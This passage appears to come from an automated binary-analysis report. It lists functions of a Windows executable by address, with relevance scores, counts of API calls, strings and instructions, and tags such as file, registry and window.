stringfilecomCOMMON

Function 00404C62 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405990 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403D3E Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Function 00403990 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402EC1 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Function 004062A4 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 004030FA Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 166
COMMON

Function 00402644 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 004065EC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 004057B5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00405DA3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 0040202C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73
libraryCOMMON